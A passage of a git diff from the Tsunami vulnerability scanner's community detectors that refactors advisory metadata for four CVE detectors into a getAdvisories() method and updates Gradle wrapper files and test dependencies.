"%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/triton_inference_server_model_overwrite/src/main/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetector.java b/community/detectors/triton_inference_server_model_overwrite/src/main/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetector.java index d7187f627..0b1b6e7a5 100644 --- a/community/detectors/triton_inference_server_model_overwrite/src/main/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetector.java +++ b/community/detectors/triton_inference_server_model_overwrite/src/main/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetector.java @@ -154,6 +154,28 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("TritonInferenceServerRce")) + .setSeverity(Severity.CRITICAL) + .setTitle("Triton Inference Server RCE") + .setDescription( + "This detector checks triton inference server RCE with explicit model-control" + + " option enabled. \n" + + "All versions of triton inference server with the `--model-control" + + " explicit` option allows for loaded models to be overwritten by " + + " malicious models and lead to RCE.") + .setRecommendation("don't use `--model-control explicit` option with public access") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-31036")) + .build()); + } + @VisibleForTesting String buildRootUri(NetworkService networkService) { return buildWebApplicationRootUrl(networkService); @@ -281,23 +303,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("TritonInferenceServerRce")) - .setSeverity(Severity.CRITICAL) - .setTitle("Triton Inference Server RCE") - .setDescription( - "This detector checks triton inference server RCE with explicit model-control" - + " option enabled. \n" - + "All versions of triton inference server with the `--model-control" - + " explicit` option allows for loaded models to be overwritten by " - + " malicious models and lead to RCE.") - .setRecommendation("don't use `--model-control explicit` option with public access") - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-31036"))) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/triton_inference_server_model_overwrite/src/test/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetectorTest.java b/community/detectors/triton_inference_server_model_overwrite/src/test/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetectorTest.java index 8652f5b4d..fe49e3b36 100644 --- a/community/detectors/triton_inference_server_model_overwrite/src/test/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetectorTest.java +++ b/community/detectors/triton_inference_server_model_overwrite/src/test/java/com/google/tsunami/plugins/detectors/rce/TritonInferenceServerRceVulnDetectorTest.java @@ -37,10 +37,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.security.SecureRandom; @@ -116,26 +113,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("TritonInferenceServerRce")) - .setSeverity(Severity.CRITICAL) - .setTitle("Triton Inference Server RCE") - .setDescription( - "This detector checks triton inference server RCE with explicit" - + " model-control option enabled. \n" - + "All versions of triton inference server with the" - + " `--model-control explicit` option allows for loaded models to" - + " be overwritten by malicious models and lead to RCE.") - .setRecommendation( - "don't use `--model-control explicit` option with public access") - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2023-31036"))) + .setVulnerability(detector.getAdvisories().get(0)) .build()); Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(5); Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); diff --git a/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java b/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java index 6b1fc2ce0..e7e93e547 100644 --- a/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java +++ b/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java @@ -93,6 +93,31 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2020_14882")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2020-14882")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2020-14882: Weblogic management console permission bypass") + .setDescription( + "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion" + + " Middleware (component: Console). Supported versions that are affected" + + " are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0." + + " Easily exploitable vulnerability allows unauthenticated attacker with" + + " network access via HTTP to compromise Oracle WebLogic Server." + + " Successful attacks of this vulnerability can result in takeover of" + + " Oracle WebLogic Server") + .setRecommendation( + "Go to the oracle official website to download the latest weblogic patch.") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; @@ -131,24 +156,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2020_14882")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2020-14882: Weblogic management console permission bypass") - .setDescription( - "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion" - + " Middleware (component: Console). Supported versions that are affected" - + " are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0." - + " Easily exploitable vulnerability allows unauthenticated attacker with" - + " network access via HTTP to compromise Oracle WebLogic Server." - + " Successful attacks of this vulnerability can result in takeover of" - + " Oracle WebLogic Server") - .setRecommendation( - "Go to the oracle official website to download the latest weblogic patch.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/weblogic_cve_2020_14882/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetectorTest.java b/community/detectors/weblogic_cve_2020_14882/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetectorTest.java index 59f445753..261de93ce 100644 --- a/community/detectors/weblogic_cve_2020_14882/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetectorTest.java +++ b/community/detectors/weblogic_cve_2020_14882/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -104,25 +101,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2020_14882")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2020-14882: Weblogic management console permission bypass") - .setDescription( - "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion" - + " Middleware (component: Console). Supported versions that are" - + " affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and" - + " 14.1.1.0.0. Easily exploitable vulnerability allows" - + " unauthenticated attacker with network access via HTTP to" - + " compromise Oracle WebLogic Server. Successful attacks of this" - + " vulnerability can result in takeover of Oracle WebLogic Server") - .setRecommendation( - "Go to the oracle official website to download the latest weblogic" - + " patch.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/build.gradle b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/build.gradle index 2b4929d90..bfca9e824 100644 --- a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/build.gradle +++ b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/build.gradle @@ -49,9 +49,9 @@ java { ext { tsunamiVersion = 'latest.release' junitVersion = '4.13' - mockitoVersion = '2.28.2' + mockitoVersion = '5.17.0' okhttpVersion = '3.12.0' - truthVersion = '1.1.3' + truthVersion = '1.4.0' } dependencies { diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.jar b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.properties b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew +++ b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew.bat b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew.bat +++ b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java index e8c24a577..b3579bdca 100644 --- a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java +++ b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java @@ -107,6 +107,33 @@ public static byte[] makeZip(String fileName, String content) throws IOException return baos.toByteArray(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2022-29464")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-29464")) + .setSeverity(Severity.CRITICAL) + .setTitle("WSO2 Unrestricted Arbitrary File Upload CVE-2022-29464") + .setDescription( + "WSO2 API Manager 2.2.0, up to 4.0.0,WSO2 Identity Server 5.2.0, up" + + " to 5.11.0,WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0," + + " 5.6.0,WSO2 Identity Server as Key Manager 5.3.0, up to" + + " 5.11.0,WSO2 Enterprise Integrator 6.2.0, up to 6.6.0,WSO2 Open" + + " Banking AM 1.4.0, up to 2.0.0,WSO2 Open Banking KM 1.4.0, up" + + " to 2.0.0 contains a arbitrary file upload vulnerability. Due" + + " to improper validation of user input, a malicious actor could" + + " upload an arbitrary file to a user controlled location of the" + + " server. By leveraging the arbitrary file upload vulnerability," + + " it is further possible to gain remote code execution on the" + + " server.") + .setRecommendation( + "Update WSO2 API Manager to 4.2.0, Identity Server to 6.1.0, Enterprise Integrator to 7.1.0, and Open Banking AM and KM to 3.0.0.").build()); + } @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -191,30 +218,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2022-29464")) - .setSeverity(Severity.CRITICAL) - .setTitle("WSO2 Unrestricted Arbitrary File Upload CVE-2022-29464") - .setDescription( - "WSO2 API Manager 2.2.0, up to 4.0.0,WSO2 Identity Server 5.2.0, up" - + " to 5.11.0,WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0," - + " 5.6.0,WSO2 Identity Server as Key Manager 5.3.0, up to" - + " 5.11.0,WSO2 Enterprise Integrator 6.2.0, up to 6.6.0,WSO2 Open" - + " Banking AM 1.4.0, up to 2.0.0,WSO2 Open Banking KM 1.4.0, up" - + " to 2.0.0 contains a arbitrary file upload vulnerability. Due" - + " to improper validation of user input, a malicious actor could" - + " upload an arbitrary file to a user controlled location of the" - + " server. By leveraging the arbitrary file upload vulnerability," - + " it is further possible to gain remote code execution on the" - + " server.") - .setRecommendation( - "Update WSO2 API Manager to 4.2.0, Identity Server to" - + " 6.1.0, Enterprise Integrator to 7.1.0, and" - + " Open Banking AM and KM to 3.0.0.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VuLnDetectorTest.java b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VuLnDetectorTest.java index 90391107c..14dc94caf 100644 --- a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VuLnDetectorTest.java +++ b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VuLnDetectorTest.java @@ -33,11 +33,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -109,30 +106,7 @@ public void detect_whenVulnerable_returnsVulnerability() { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2022-29464")) - .setSeverity(Severity.CRITICAL) - .setTitle("WSO2 Unrestricted Arbitrary File Upload CVE-2022-29464") - .setDescription( - "WSO2 API Manager 2.2.0, up to 4.0.0,WSO2 Identity Server 5.2.0, up" - + " to 5.11.0,WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0," - + " 5.6.0,WSO2 Identity Server as Key Manager 5.3.0, up to" - + " 5.11.0,WSO2 Enterprise Integrator 6.2.0, up to 6.6.0,WSO2 Open" - + " Banking AM 1.4.0, up to 2.0.0,WSO2 Open Banking KM 1.4.0, up" - + " to 2.0.0 contains a arbitrary file upload vulnerability. Due" - + " to improper validation of user input, a malicious actor could" - + " upload an arbitrary file to a user controlled location of the" - + " server. By leveraging the arbitrary file upload vulnerability," - + " it is further possible to gain remote code execution on the" - + " server.") - .setRecommendation( - "Update WSO2 API Manager to 4.2.0, Identity Server to" - + " 6.1.0, Enterprise Integrator to 7.1.0, and" - + " Open Banking AM and KM to 3.0.0.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); Truth.assertThat(mockWebServer.getRequestCount()).isEqualTo(2); diff --git a/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.jar b/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.properties b/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/xwiki_cve_2024_21650/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/xwiki_cve_2024_21650/gradlew b/community/detectors/xwiki_cve_2024_21650/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/xwiki_cve_2024_21650/gradlew +++ b/community/detectors/xwiki_cve_2024_21650/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/xwiki_cve_2024_21650/gradlew.bat b/community/detectors/xwiki_cve_2024_21650/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/xwiki_cve_2024_21650/gradlew.bat +++ b/community/detectors/xwiki_cve_2024_21650/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java index b02dd9b99..32686ebb1 100644 --- a/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java +++ b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java @@ -90,6 +90,29 @@ public final class Cve202421650Detector implements VulnDetector { this.oobSleepDuration = oobSleepDuration; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2024-21650")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-21650")) + .setSeverity(vulnSeverity) + .setTitle("XWiki RCE (CVE-2024-21650)") + .setDescription( + "XWiki is vulnerable to a remote code execution (RCE) attack through its user " + + "registration feature. This issue allows an attacker to execute " + + "arbitrary code by crafting malicious payloads in the \"first name\" " + + "or \"last name\" fields during user registration. This impacts all " + + "installations that have user registration enabled for guests. This " + + "vulnerability has been patched in XWiki 14.10.17, 15.5.3 " + + "and 15.8 RC1.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -240,22 +263,7 @@ public DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2024-21650")) - .setSeverity(vulnSeverity) - .setTitle("XWiki RCE (CVE-2024-21650)") - .setDescription( - "XWiki is vulnerable to a remote code execution (RCE) attack through its user " - + "registration feature. This issue allows an attacker to execute " - + "arbitrary code by crafting malicious payloads in the \"first name\" " - + "or \"last name\" fields during user registration. This impacts all " - + "installations that have user registration enabled for guests. This " - + "vulnerability has been patched in XWiki 14.10.17, 15.5.3 " - + "and 15.8 RC1.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/xwiki_cve_2024_21650/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorTest.java b/community/detectors/xwiki_cve_2024_21650/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorTest.java index dc85993cb..f00916671 100644 --- a/community/detectors/xwiki_cve_2024_21650/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorTest.java +++ b/community/detectors/xwiki_cve_2024_21650/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorTest.java @@ -33,11 +33,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -123,22 +120,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( 